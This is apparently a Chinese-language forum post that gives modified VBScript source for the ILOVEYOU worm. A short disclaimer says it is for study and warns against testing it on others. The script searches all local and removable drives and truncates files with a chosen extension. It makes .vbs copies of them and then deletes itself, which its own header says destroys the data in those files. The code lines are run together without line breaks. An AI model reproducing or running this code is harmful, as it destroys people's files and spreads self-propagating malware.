说明：本人对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后带.vbs的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe

Dim folder, fso, foldername, f, d, dcSet fso = CreateObject("scripting.filesystemobject")Set self = fso.opentextfile(wscript.scriptfullname, 1)vbscopy = self.readall              '读取病毒体，以备复制到文件self.CloseSet dc = fso.DrivesFor Each d In dcIf d.drivetype = 3 Or d.drivetype = 2 Then '检查磁盘类型wscript.echo d                   '弹出窗口，显示找到盘符scan (d)End IfNextlsfile = wscript.scriptfullname        '该脚本程序路径Set lsfile = fso.getfile(lsfile)lsfile.Delete (True)                  '病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）Sub scan(folder_)On Error Resume NextSet folder_ = fso.getfolder(folder_)Set Files = folder_.FilesFor Each file In Filesext = fso.GetExtensionName(file)         '获取文件后缀ext = LCase(ext)                     '后缀名转换成小写字母If ext = "mp5" Then                 '如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名Set ap = fso.opentextfile(file.Path, 2, True)' ap.write vbscopy                   '覆盖文件，慎用ap.CloseSet cop = fso.getfile(file.Path)cop.Copy (file.Path & ".vbs")         '创建另外一个病毒文件' file.delete(true)                '删除原来文件End IfNextSet subfolders = folder_.subfoldersFor Each subfolder In subfolders           '搜索其他目录scan (subfolder)NextEnd Sub

！！以上内容谨供参考学习~